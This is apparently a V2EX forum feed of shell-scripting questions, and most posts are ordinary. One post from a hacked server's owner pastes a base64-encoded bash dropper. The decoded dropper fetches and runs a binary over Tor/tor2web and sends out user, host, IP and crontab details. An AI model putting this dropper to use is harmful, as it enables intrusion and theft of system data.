Bash way to explore 2024-04-28T13:52:52Z Copyright © 2010-2018, V2EX Linux bash 脚本监控和重启一个守护进程 tag:www.v2ex.com,2024-04-28:/t/1036524 2024-04-28T12:42:17Z 2024-04-28T13:52:52Z wisefree member/wisefree 最近有个需求,监控某个守护进程,如果进程不存在,则重启这个进程,打算写一个 bash 脚本和 service 服务满足这个需求。

  1. 通过 systemctl start monitor_process.service, 启动监控
  2. 通过 systemctl start monitor_process.service ,停止监控,同时杀死启动的进程。
  3. 这个服务必须是在系统所有服务启动之后,才启动该服务

看到 stackoverflow的高赞回答后,不知道这样写的脚本是不是合适的,有没有更加好实践。

我对 stackoverflow 高赞回答表示怀疑,其中jobs -p,无法列出后台的守护进程。因为一般编写守护进程代码时,都是 fork 两次并重新设置会话 setsid

trap 'kill $(jobs -p)' EXIT; until myserver & wait 

monitor_process.sh

 #!/bin/bash this_bash_pid=$$ exe_name="thisIsExample" # 定义一个函数来杀死进程 kill_process() { if [ -n "${PID}" ]; then kill -9 ${PID} fi exit } # 使用 trap 命令捕获 TERM, INT 和 EXIT 信号 trap 'kill_process' TERM INT EXIT while true do output=$(ps -ef | grep ${exe_name} | grep -v grep | grep -v ${this_bash_pid}) if [ $? -eq 0 ];then PID=$(echo $output | awk '{print $2}') echo "${exe_name} :${PID} is running" else ./${exe_name} & output=$(ps -ef | grep ${exe_name} | grep -v grep | grep -v ${this_bash_pid}) echo $output PID=$(echo $output | awk '{print $2}') echo $PID fi sleep 1 done 

monitor_process.service

 [Unit] Description=Monitor Process Service After=multi-user.target [Service] Type=simple ExecStart=/usr/local/bin/monitor_process.sh Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target 
]]> 有个脚本代码的问题 tag:www.v2ex.com,2023-12-26:/t/1003485 2023-12-26T05:25:55Z 2023-12-26T07:09:00Z canitnamechange member/canitnamechange 原因:想写一个批量加静态路由的 bat 脚本,适用于不同网段的终端快速配置双网卡上网。

过程:由于是第一次写,也不知道怎么在网上找只能用 gpt3.5 艰难的生成好了所有功能,但是太长了,问了同事 可以用变量缩短,又是一个上午过去了 gpt 被玩坏了发一句抱歉一句然后瞎扯。

route add -p "A" mask 255.255.255.0 "B" 结果:目前是删除路由的那段脚本好了,添加脚本提示一堆看着像不合规的命令输出,这段要实现的是在"A"变量 组里面循环一次,"B"里的下一跳路由用户输入的序号提供,由于用户直接输入的是网段还需要再改写成网关 才行,下面是代码,希望有大佬给指点下,万分感谢:

@echo off PUSHD %~DP0 TITLE 双网卡配置脚本 mode con cols=60 lines=32 color 3e :menu cls echo. echo. 请选择内网网段 echo --------------------------- echo. echo 0 10.10.6.0 echo 1 10.10.7.0 echo 2 10.10.8.0 echo 3 10.10.9.0 echo 4 10.10.10.0 echo 5 10.10.11.0 echo 6 10.10.12.0 echo 7 10.10.13.0 echo 8 10.10.14.0 echo 9 192.168.200.0 echo 10 192.168.22.0 echo 11 192.168.201.0 echo. echo. echo q 退出 echo. echo d 删除路由表 echo. echo --------------------------- echo. echo. 请输入序号: set /p ID= if "%ID%"=="q" ( goto :eof ) if "%ID%"=="d" ( goto delete_routes ) if %ID% LSS 0 ( goto menu ) setlocal enabledelayedexpansion set "routes=10.10.6.0 10.10.7.0 10.10.8.0 10.10.9.0 10.10.10.0 10.10.11.0 10.10.12.0 10.10.13.0 10.10.14.0 192.168.200.0 192.168.22.0 192.168.201.0" set "gateways=10.10.6.1 10.10.7.1 10.10.8.1 10.10.9.1 10.10.10.1 10.10.11.1 10.10.12.1 10.10.13.1 10.10.14.1 192.168.200.1 192.168.22.1 192.168.201.1" for /L %%i in (0,1,11) do ( if "!ID!"=="%%i" ( set "gw=!gateways%%i!" for %%a in (!routes!) do ( route add -p %%a mask 255.255.255.0 !gw! echo 已添加路由: %%a !gw! ) ) ) echo. 添加完成 timeout /t 50 >nul goto menu :delete_routes set "routes=10.10.6.0 10.10.7.0 10.10.8.0 10.10.9.0 10.10.10.0 10.10.11.0 10.10.12.0 10.10.13.0 10.10.14.0 192.168.200.0 192.168.22.0 192.168.201.0" for %%r in (%routes%) do ( route delete %%r echo 已删除路由: %%r ) timeout /t 1 >nul echo. 删除完成 goto :menu 
]]>
Bash Script 代码比较,你认为哪个更加容易理解? tag:www.v2ex.com,2023-12-05:/t/997708 2023-12-05T03:00:55Z 2023-12-04T10:59:55Z JasonLaw member/JasonLaw Version 1:

getProfile() { CURRENT_PATH=$(pwd) oldIFS="$IFS" # Save the old value of IFS IFS="/" # Set IFS to the new delimiter # Split the string into an array of substrings read -ra array <<<"$CURRENT_PATH" IFS=oldIFS PROFILE=${array[-2]} echo "${PROFILE}" } 

Version 2:

get_profile() { script_dir="$(dirname "$0")" # https://stackoverflow.com/questions/71224944/how-to-get-the-name-of-the-grandparent-directory profile=$(basename -- "$(realpath -m -- "$script_dir/..")") echo "${profile}" } 
]]>
有使用 kitty 当日常终端的老哥吗? tag:www.v2ex.com,2023-12-04:/t/997491 2023-12-04T06:47:52Z 2023-12-04T16:29:30Z ab member/ab mac 上每次打开时,窗口都乱跳,其他方面都完美,偏偏这个小毛病搞得快弃坑了。 ]]> 在输入命令时,自动调用 fzf 进行模糊匹配 tag:www.v2ex.com,2023-06-09:/t/947224 2023-06-09T02:54:39Z 2023-07-02T04:31:49Z bushnerd member/bushnerd
而 fzf 在 bash 中可以模糊匹配,但是每次必须要先按下 Ctrl+r 才能调用,有没有办法设置为默认启用? ]]>
使用 shell 的 bash -c "functions"时,是不是所有相关的函数都得声明出来? tag:www.v2ex.com,2023-03-15:/t/924176 2023-03-15T05:35:09Z 2023-03-22T19:19:40Z OldCarMan member/OldCarMan rt,最近使用 bash call
 bash -c "custom_functions" 

的方式调用自定义 shell 函数时,发现总会报一个

 custom_function:command not found 

的错误;然后搜了下,有三种方式解决:

但这几种方式,函数栈里如果有多个自定义函数,都得在使用手动声明,挺麻烦的,所以想请问各位大佬有没有比较优雅的方式在不需要声明多个自定义函数的情况下实现自定义函数栈的调用,或者如何避免出现这种情况?谢谢回复。

]]>
shell 比较浮点数大小的问题,顺便吐槽以下 shell tag:www.v2ex.com,2023-03-13:/t/923474 2023-03-13T01:19:17Z 2023-03-16T01:59:30Z OldCarMan member/OldCarMan 平时比较少写 shell ,最近因为需要,写 shell 时,发现 shell 的语法真的让人头大,比如简单的比较两个浮点数大小:
a=0.1 b=0.01 if (( $(echo "$a > $b" |bc -l) )); then ehco "true" else echo "false" fi 
a=0.1 b=0.01 if [ $(echo "$a > $b"|bc) -eq 1 ];then echo "true" else echo "false" fi 
都有问题(都输出 false),常用的>,<,gt,lt 又没办法直接比较浮点数大小,简直了😂。

PS:另外用 vim 写 shell 时经常性遇到空格之类的问题,大佬们平时是不是用 shell 比较少,是用 python 或 lua 较多吗?

]]>
bash-completor:声明式编写 Bash 补全脚本 tag:www.v2ex.com,2023-02-19:/t/917470 2023-02-19T23:19:47Z 2023-02-19T23:19:47Z adoyle member/adoyle 编写简单的 Bash 补全脚本仅需一行。可对于拥有许多复杂参数的命令来说,这就不够用了。开发者需要编写可编程补全脚本。

可是,编写复杂的可编程补全脚本却是一件困难的事。Bash 脚本的语法十分自由(容易出错),教程也五花八门,你可能需要踩很多坑。 即使有 scop/bash-completion 这样现成的补全脚本库,可是它只收录常用命令。对于某些社区不常用的命令,还是得自己手写补全脚本。

为了减少开发者接触 bash 的痛苦时间。我创造了 bash-completor。 bash-completor 是一个用 bash 脚本编写的 Bash 补全脚本生成器。帮助 bash 新手快速地实现 bash 补全。 它用声明式写法来实现逻辑。学习门槛非常低。

可能有人会想,bash 就一胶水语言,不应该用来写这么复杂的功能。为何不用 js 、go 、rust 等高级编程语言来实现补全逻辑? 当然可以,只不过这会引入开发环境配置,依赖部署等问题。 需要使用 bash 补全功能的人一定安装了 bash 。所以用 Bash 脚本来写,不引入其他依赖。用户安装使用就很简单。

下面介绍这个工具。

功能

依赖

安装

你可以用 curl 或者 git 安装它。具体请看项目文档,这里不赘述。

用法

以创建 bash-completor 自身的补全脚本为例。

首先,创建配置文件 completor.bash 。 配置文件也是用 bash 语法写的。你只需要懂最基础的 bash 语法即可。

output=dist/bash-completor.completion.bash authors=('ADoyle (adoyle.h@gmail.com)') cmd=bash-completor cmd_opts=( -c:@files -h --help --version ) 

这就是配置的全部内容。然后执行 bash-completor -c ./completor.bash 生成补全脚本。完成。

复杂的例子也可以看这些链接:

更多语法见这个链接

补全脚本

生成的补全脚本遵循以下代码风格。无需担心重名问题。而且这也便于在运行时调试。

以上介绍完了。如果你觉得不错,可以给文章点给赞,或者给项目点个 star 。

https://github.com/adoyle-h/bash-completor

]]>
sudo 改用 pkexec 的问题 tag:www.v2ex.com,2023-02-15:/t/916322 2023-02-15T06:21:11Z 2023-02-15T06:20:11Z huangsijun17 member/huangsijun17 一段脚本里,原来有两处 sudo 。现在想改用 pkexec ,怎么在第二处提权时免输密码?

PS ,命令被我直接放在.desktop 文件里了。大致如下:

Exec=bash -c 'xxxx ; sudo xxxx ; xxxx ; sudo xxxx ; xxxx' 
]]>
sed 如何查找替换反斜杠 tag:www.v2ex.com,2023-02-06:/t/913504 2023-02-06T02:16:18Z 2023-02-06T02:20:26Z toyst member/toyst a='\u@\h:\w\$ ' a='\[\e[1;32;40m\][\u@\h - \t \W]\$ \[\e[0m\]'

想实现把

\u@\h:\w\$ 

替换成

\[\e[1;32;40m\][\u@\h - \t \W]\$ \[\e[0m\] 
]]>
lobash 发布 v0.5.0 版本 tag:www.v2ex.com,2022-11-23:/t/897478 2022-11-23T17:31:50Z 2022-11-23T19:31:50Z adoyle member/adoyle https://github.com/adoyle-h/lobash

一个专用于 Bash 编程的库。之前有在 V2EX 发过介绍

隔了好多年终于发布了新版本...之前有在用过的朋友可以看下 changelog

]]>
为什么这样写无法连接(join)数组各项? tag:www.v2ex.com,2022-08-13:/t/872660 2022-08-13T11:53:14Z 2022-08-26T20:11:44Z wxf666 member/wxf666 # 声明数组 declare -a arr=(12 34 56 78 90) # 稍后我想用 , 连接它们 IFS=',' # 测试一:我想连接数组前三个数字( OK ) cat <<<"${arr[*]:0:3}" # 测试二:在 HereDoc 里,同样的写法,逗号却不见了?(除非全部连接,不指定其中一小段) cat <<EOF ${arr[*]:0:3} ${arr[*]} EOF

结果:

12,34,56 # 测试一,OK 12 34 56 # 测试二,???不是和上面写法一样吗??? 12,34,56,78,90 # 测试二,全部连接,OK 

又被 bash 折磨了。。

]]>
如何使用 awk 打印 nginx 404 日志的目录 tag:www.v2ex.com,2022-04-14:/t/846985 2022-04-14T09:35:13Z 2022-05-07T16:28:27Z qsnow6 member/qsnow6 nginx 日志的格式是这样的:

[5/Apr/2022:12:45:28 +0800] 175.139.183.196 - 1391 "https://www.example.com/xxxxx/1.html" "GET https://www.example.com/file/upload/201512/02/11-58-30-89-157.jpg" 302 46 454 MISS "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" "text/html; charset=iso-8859-1" 

我可以通过以下命令统计每个网址 404 的次数

awk '{if($9=404) print $6} |sort|uniq|wc -l' 

如果我想按目录统计出现 404 的次数的话,应该怎么用 awk 来实现?

即统计网址中 /xxxxx/部分出现 404 的次数

]]>
请教一下,怎么把向终端输入的内容重定向一份到文件? tag:www.v2ex.com,2021-12-21:/t/823625 2021-12-21T14:05:50Z 2021-12-21T14:57:43Z tuduweb member/tuduweb 类似于使用node | tee out.txt可以把 node 中输出的内容不仅输出到屏幕终端,还可以输出到文件out.txt

那怎么样做才能把不影响向终端中正常输入内容,同时把输入的内容保存一份到文件中,作为记录呢?

是要对/dev/stdin动手脚吗?

RTRT 谢谢各位了!

]]>
请教一下 shell 里使用 jq 处理 json 应该怎么写 tag:www.v2ex.com,2021-12-12:/t/821717 2021-12-12T13:58:51Z 2021-12-11T14:07:11Z Ryanjie member/Ryanjie 如题,有一个 json 文件,

[ { "id": 0001, "name": "Zhang.San_123456", "email": { "qqmail": "mail1@qq.com", "163mail": "mail1@163.com" }, "Address": { "Province": "Guangdong", "City": "Zhanjiang", "Country": "Xuwen" } }, { "id": 0002, "name": "Li.Si_123456", "email": { "qqmail": "mail2@qq.com", "163mail": "mail2@163.com" }, "Address": { "Province": "Sichuan", "City": "Yibin", "Country": "Jiang'an" } }, { "id": 0003, "name": "Wang.Wu_123456", "email": { "qqmail": "mail3@qq.com", "163mail": "mail3@163.com" }, "Address": { "Province": "Shanxi", "City": "Taiyuan", "Country": "Qingxu" } } ] 

我想获取里面 name 字段为 Li.Si_123456 的一部分,返回时移除 email 里的 163mail ,返回内容如下:

[ { "id": 0002, "name": "Li.Si_123456", "url": "http://xxx.com", "qqmail": "mail2@qq.com", "Address": { "Province": "Sichuan", "City": "Yibin", "Country": "Jiang'an" } } ] 

请教一下这个使用 jq 处理应该怎么写呢,有大佬能指教一下吗?谢谢了^^

]]>
求一个 wsl2 ubuntu20.04 的默认 /etc/bash.bashrc tag:www.v2ex.com,2021-09-01:/t/799223 2021-09-01T03:27:17Z 2021-09-01T06:42:26Z NGPONG member/NGPONG RT,给改坏了

]]>
如何让 bash 的补全 popup 显示 tag:www.v2ex.com,2021-08-31:/t/798972 2021-08-31T01:40:00Z 2021-08-28T05:56:38Z SSang member/SSang 有很多时候会遇到中文路径,就必须得切换中文输入法,再 tab (虽然像是 zsh/fish 就可以多次 tab 来选择,不过目前我还没有迁移 zsh 的计划,并且我也没有想要使用鼠标的意愿)

Snipaste_20210831_092525.png

我之前看到有别人的终端用的补全有 popup 的功能,类似 vim 的 popup,像是这样(年代久远,我也不能确定他用的是什么命令行)

Snipaste_20210831_093203.png

]]>
如何去除 Bash variable expansion 后加的单引号? tag:www.v2ex.com,2021-06-30:/t/786688 2021-06-30T06:42:17Z 2021-06-30T07:53:09Z dangyuluo member/dangyuluo 例子如下

$ set -x # enable debug output from bash $ export PYTEST_FLAG='--pytest-args -k "not (xmllint or pclint)"'; $ pytest ${PYTEST_FLAG} + pytest --pytest-args -k '"not' '(xmllint' or 'pclint)"' # this line is the debug output ... error 

从第四行可以看出,本来"not (xmllint or pclint)"应该作为一个字符串传递给pytest命令,但是 bash 在 variable expansion 后把"not, (xmllintpclint)" 用单引号圈了起来,似乎因为他们含有一些特殊字符?如何阻止 bash 这种行为呢?谢谢

我最终想要 Bash 执行的命令为:

$ pytest --pytest-args -k "not (xmllint or pclint)" 
]]>
初学者写了个 bash 脚本,求大佬点评 tag:www.v2ex.com,2021-05-19:/t/777942 2021-05-19T08:47:13Z 2021-08-18T07:49:57Z xiaofami member/xiaofami 读的《 Linux 命令行与 shell 脚本编程大全》这本书。目前自己感觉列表处理不好,遇到需要遍历列表的时候我会把它传给另一个函数,然后用位置参数+shift 处理,不知是否合适。

#!/bin/bash # 对 pdftk 的简单封装,用于删除指定的页码,以空格分隔,支持形如"5-7"的页码范围。页码输入不必按顺序,类似"12 6-8 1 3"输入是可以正常工作的。 #isPdftkinstalled 作用为检查 pdftk 是否可用,若可用则执行 pdftk --version function isPdftkinstalled { echo if [ -z $(whereis pdftk | gawk '{print $2}') ] then echo "pdftk 未安装或未加入 PATH,请检查。" echo "提示:pdftk 已加入 Deepin 官方源,您可以通过 sudo apt install pdftk 简单安装。" else echo $(pdftk --version) fi echo } #getCouples 作用为对输入的页码进行处理,支持输入单页或页码范围,将其转换为数对(获取范围前后页码,以冒号分隔) function getCouples { local couples='' local left_end='' local right_end='' while [ -n "$1" ] do arg1=$(echo "$1" | gawk -F"[- ]" '{print $1}') arg2=$(echo "$1" | gawk -F"[- ]" '{print $2}') left_end=$[ $arg1 - 1 ] #对应页码范围情况 if [ -n "$arg2" ] then right_end=$[ $arg2 + 1 ] else #对应单页情况 right_end=$[ $arg1 + 1 ] fi couples=$(echo $couples $left_end:$right_end) shift done #数对排序处理,注意 sort 是针对行的排序,故需要将空格转换成换行 couples=$(echo $couples | tr " " "\n" | sort -t ':' -k 1 -n) couples=$(refineCouples $couples) echo $couples } #refineCouples 作用为合并相邻数对,供 getCouples 调用 function refineCouples { local args='' local isNabour='' local Num1=$(echo $1 | cut -d ":" -f1) local Num2=$(echo $1 | cut -d ":" -f2) local Num3='' local Num4='' shift while [ -n "$1" ] do Num3=$(echo $1 | cut -d ":" -f1) Num4=$(echo $1 | cut -d ":" -f2) isNabour=$[ $Num2 - $Num3 ] if [ $isNabour -eq 1 ] then Num2=$Num4 else args=$(echo $args $Num1:$Num2) Num1=$Num3 Num2=$Num4 fi shift done args=$(echo $args $Num1:$Num2) echo $args } #generateRanges 作用为将数对转换为 pdftk 可用的页码范围 function generateRanges { local first_Bit=$(echo $1 | cut -d ":" -f1) local Num1='' local Num2='' local args='' while [ -n "$1" ] do Num1=$(echo $1 | cut -d ":" -f2) if [ -n "$2" ] then Num2=$(echo $2 | cut -d ":" -f1) if [ $Num1 -gt $Num2 ] then Num2=$Num1 fi else Num2="end" fi shift args=$(echo $args $Num1-$Num2) done if [ $first_Bit -gt 0 ] then args=$(echo 1-$first_Bit $args) fi echo $args } pdfFile=$1 shift if [ $# -lt 2 ] then echo "Usage:pdftool [filename] [discard pages]" exit fi pagesCOnserved=$(generateRanges $(getCouples $*)) pdftk_command=$(echo pdftk $pdfFile cat $pagesConserved output new_$(basename ${pdfFile})) #echo $pdftk_command $pdftk_command 
]]>
tar 使用管道的困惑 tag:www.v2ex.com,2021-03-04:/t/758589 2021-03-04T12:59:55Z 2021-03-05T09:39:57Z xltfes member/xltfes 这个网页上看到(cd backup && tar c .) | (cd backupArchives && tar xf -)这条命令,对于 tar 直接用管道进行打包解包这个操作直呼少见,man tar中也没看到相关介绍

]]>
如何获取命令标准输出到变量里并保留颜色?或者能不能一边输出一边赋值或判断。 tag:www.v2ex.com,2021-02-24:/t/755769 2021-02-24T03:55:53Z 2021-02-22T03:55:53Z jmyz0455 member/jmyz0455 我有一段 bash shell script,需要循环用到好几个命令,这些命令的输出本身就是带颜色的,比如 ls 命令。

但是如果 ls 的输出为空,那么我需要提前结束循环,要注意的是如果非空,一定要输出原有命令的颜色,不然看得眼花。

所以我的需求是,既能调用一个命令,输出带颜色的结果,又能在命令输出为空时,不输出了,跳出循环。

想到几种解决方案:

  1. 用变量获取命令输出,先判断非空,再用 echo -e 输出,结果发现输出的是纯文本,颜色丢失了。
  2. 直接运行命令,输出颜色文本的同时,赋值到某个变量,但是不知道怎么弄。
  3. 直接运行命令,用管道接口结果,判断输出是否为空,非空就输出,空就跳出循环,但是用 xargs 好像也不太对。

我这个需求能实现吗?请问思路哪里不对,还是方法错了?

]]>
请问如何在 alias 命令里传递参数? tag:www.v2ex.com,2020-12-18:/t/736758 2020-12-18T06:10:59Z 2020-12-18T07:23:25Z sungnix member/sungnix 比如要压缩一个目录需要输入下面的 zip 命令:
zip -r git.zip git

现在我想通过 alias 简化输入的命令:
alias zp='zip -r $1.zip $1'

但是我发现执行 zp git 后生成的文件是 .zip 而不是希望的 git.zip
请问如何才能把文件名传递给 zip 命令?

]]>
Bash 下如何优雅地临时在后台运行程序并易于管理? tag:www.v2ex.com,2020-12-11:/t/734488 2020-12-11T06:00:27Z 2020-12-11T08:28:31Z dangyuluo member/dangyuluo 现在遇到一个问题,就是在某个 CI 脚本里需要测试一个 EXE,该 EXE 需要其他服务程序来运行。

现在的方法是

server1 > /tmp/server1 & server2 > /tmp/server2 & ... ... killall server1 killall server2 

但是感觉很不优雅,并且不支持多个测试并发。我知道可以用保存 PID 地方式来精准杀进程,但还是想问问大家有没有更好的办法?谢谢

]]>
shell tr -cd 匹配字符串问题 tag:www.v2ex.com,2020-11-03:/t/721439 2020-11-03T08:35:40Z 2020-11-03T08:59:26Z wuwenzhx member/wuwenzhx 问题:shell 字符串[123,456,789]
想用让字符串变成数组(123 456 789)
楼主想先去掉字符串的"[" "]"
array=$(echo "[123,456,789]"|tr -cd [0-9][,])

再替换掉"," 然后就转换成数组了
array=(${array//,/ })
for i in ${array[@]};do
echo $i
done

然而第一步 tr -cd 并没有去掉字符串的"[" "]"....
使用 array=(${//[/ })也去不掉 尴尬了
大佬们"[" 和"]" 如何去掉?

]]>
shell 中的 import 能不能支持 as 或 alias 类似功能 tag:www.v2ex.com,2020-10-26:/t/718659 2020-10-26T06:02:06Z 2020-10-26T18:57:53Z lasuar member/lasuar 在一个脚本中 import 了较多外部脚本,然后调用他们的函数,问题来了,在给别人看这个脚本的时候他会觉得一脸懵逼,不知道这个函数到底来自哪个引入的脚本,非得全局搜索?有没有较好的办法解决这个问题?

source x1.sh source x2.sh 
]]>
Shell 多个文本间隔追加的方法 tag:www.v2ex.com,2020-09-09:/t/705594 2020-09-09T12:16:57Z 2020-09-09T16:18:56Z devour member/devour 现在需要把 2 个文件间隔追加到一个文件中.

A 文件 123 456 789 
B 文件 abc def ghi 

需要追加成的样式

C 文件 123 abc 456 def 789 ghi 

请教一下大家有什么好的办法吗?

]]>
生产服务器集群被黑了,帮看看这个脚本 tag:www.v2ex.com,2020-09-02:/t/703582 2020-09-02T08:29:16Z 2020-10-18T16:17:17Z nimab member/nimab #!/bin/bash

exec &>/dev/null

echo ncM85D4kux95mCiJpO2bEuK6pSDgAxyo8iDwzI2aeW4D9rutGHUWkn85gtzMkzxU

echo bmNNODVENGt1eDk1bUNpSnBPMmJFdUs2cFNEZ0F4eW84aUR3ekkyYWVXNEQ5cnV0R0hVV2tuODVndHpNa3p4VQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI0aXVjaWd4dmxmeDR2Y3FuNXNvcmRlcnNhYTNhM3p0amNhb3N6cHR4eG81YjNwYm42bmx3c2ZhZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdG1wIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCB0b3Iyd2ViLmlvIHRvcjJ3ZWIuc3Ugb25pb24uY29tLmRlIHRvcjJ3ZWIudG8gb25pb24uc2gKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

crontab 里这个 20 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &

清理 crontab 是没用的。

]]>
如何实现一个符合规范的 shell? tag:www.v2ex.com,2020-09-01:/t/703093 2020-09-01T04:31:37Z 2020-09-01T04:56:52Z cnt2ex member/cnt2ex 我想基于 bash 上加一点额外的功能(将登录用户限制在自己的 docker 容器内) 目前思路写一个脚本代替 shell,做一些处理之后,然后通过 exec ${SHELL} "$@"再调用真的 shell

但是我发现这样会破坏掉 scp 的一些功能,请问如何实现一个不会破坏其他软件兼容性的 shell ?

]]>
请教下如何检测文件是否存在 tag:www.v2ex.com,2020-06-08:/t/679713 2020-06-08T06:43:22Z 2020-06-08T08:04:18Z jeblur member/jeblur 写了一个非常简单的脚本用于筛选日志并且归档,但是不知道如何写条件来保证输入的日期所对应的日志文件是否存在,比如 5 月份如果并没有日志产生,那希望程序提示并退出

#!/bin/bash syslog_path="/var/log/dcmc_syslog_devices" read -p "Enter IP to clear the desired directory: " ip_syslog_path read -p "Enter desired date to clear[YYYY-MM]: " desired_date desired_path="/var/log/dcmc_syslog_devices/${ip_syslog_path}" if [ ! -d ${desired_path} ]; then echo "Log directory does not exist! Script exited." exit 1 fi if [ ! -f ${"/var/log/dcmc_syslog_devices/${ip_syslog_path}/${ip_syslog_path}-${desired_date}*.log"}]; then echo "Desired log is not available! Script exited." exit 1 fi #Packing syslog echo $(date +"%Y-%m-%d %H:%M:%S") echo "Start packing syslogs..." sudo tar -zcvf ${desired_path}/${ip_syslog_path}-${desired_date}.tar.gz ${desired_path}/${ip_syslog_path}-${desired_date}*.log 

由于日志文件最后是包含日期的所以一直使用"*"来覆盖后面的日,现在也不知道怎么修改,但是问题应该在于我的第二个条件中的这种写法是不被支持的,有没有大佬来说下这个该怎么调整啊,感谢!

]]>
bash 里面有 io 多路复用吗? tag:www.v2ex.com,2020-05-28:/t/676322 2020-05-28T06:56:11Z 2020-05-28T07:53:15Z yangbonis member/yangbonis 闲的蛋疼,用 shell 写了个拓扑排序。。。 tag:www.v2ex.com,2020-04-25:/t/665921 2020-04-25T03:59:48Z 2020-04-25T04:08:14Z aheadlead member/aheadlead #!/usr/bin/env bash if graph="$(mktemp -d)" || { echo failed; exit 2; } then trap 'rm -rf "${graph}"' exit fi while read start end; do mkdir -p "${graph}/${end}/${start}" "${graph}/${start}" done while [[ $(ls -1 "${graph}" | wc -l) -gt 0 ]]; do for u in ${graph}/*; do [[ $(ls -1 "${u}" | wc -l) -eq 0 ]] && { echo "$(basename ${u})"; break; } done | { read pop || { echo cylic; exit 1; } echo "${pop}" rmdir "${graph}/${pop}" for v in ${graph}/*; do [[ -d "${v}/${pop}" ]] && rmdir "${v}/${pop}" done } done

大家看看写得对吗?


附赠输入输出:

CSCI-E-50a CSCI-E-50b CSCI-E-50b CSCI-E-160 CSCI-E-160 CSCI-E-162 CSCI-E-50b CSCI-E-119 CSCI-E-119 CSCI-E-215 CSCI-E-119 CSCI-E-124 CSCI-E-50b MATH-E-104 MATH-E-10 CSCI-E-119 MATH-E-10 MATH-E-104 MATH-E-104 CSCI-E-124 
CSCI-E-50a CSCI-E-50b CSCI-E-160 CSCI-E-162 MATH-E-10 CSCI-E-119 CSCI-E-215 MATH-E-104 CSCI-E-124 

玩得开心~

]]>
echo '1 2'|awk "{print $2}"的输出为什么是 1 2 tag:www.v2ex.com,2020-03-22:/t/655014 2020-03-22T01:15:20Z 2020-03-22T03:21:35Z lasuar member/lasuar awk 的语句改为双引号就变成了整行输出,双引号起了什么作用?请教==

]]>
Shell 中冒号变成了斜线 tag:www.v2ex.com,2019-12-24:/t/632004 2019-12-24T14:19:36Z 2019-12-21T16:33:36Z JamesHopbourn member/JamesHopbourn james$ touch test
james$ cp test "test $(date "+%Y:%m:%d %H:%M")"
james$ ls
test test 2019:12:24 22:13

本想用 cp 做备份,格式化输出:年-月-日 时:分。但是在 $(date) 中的 : 会变成 / 。 在 ls 中查看是 test 2019:12:24 22:13,但是实际桌面看到是:test 2019/12/24 22/13,我的预期结果是:test 2019/12/24 22:13

请问是否有解决办法?我试过 \ 但是并没没用

屏幕快照 2019-12-24 下午 10.18.06.png

]]>
大家觉得 shell 如何呢? tag:www.v2ex.com,2019-12-18:/t/630305 2019-12-18T12:47:12Z 2019-12-18T13:22:22Z freelancher member/freelancher 是不是比 python 好。

]]>
如何让 ls 默认带--group-directories-first 选项 tag:www.v2ex.com,2019-11-11:/t/618334 2019-11-11T03:02:18Z 2019-11-21T07:33:47Z XIVN1987 member/XIVN1987 希望执行“ls”时默认就能目录全部在文件前面,,试了 alias 没成功

]]>
shell 脚本用 expect 输入密码,密码带有{}导致 expect 报错 tag:www.v2ex.com,2019-09-29:/t/605392 2019-09-29T07:13:59Z 2019-09-29T07:10:59Z calisto member/calisto

/usr/bin/expect<<EOF
set timeout -1
spawn bash -c "rsync -av --inplace --delete --progress \"-e ssh -p ${bills_bak_port}\" $Sdir $U@$H:$Ddir"
expect {
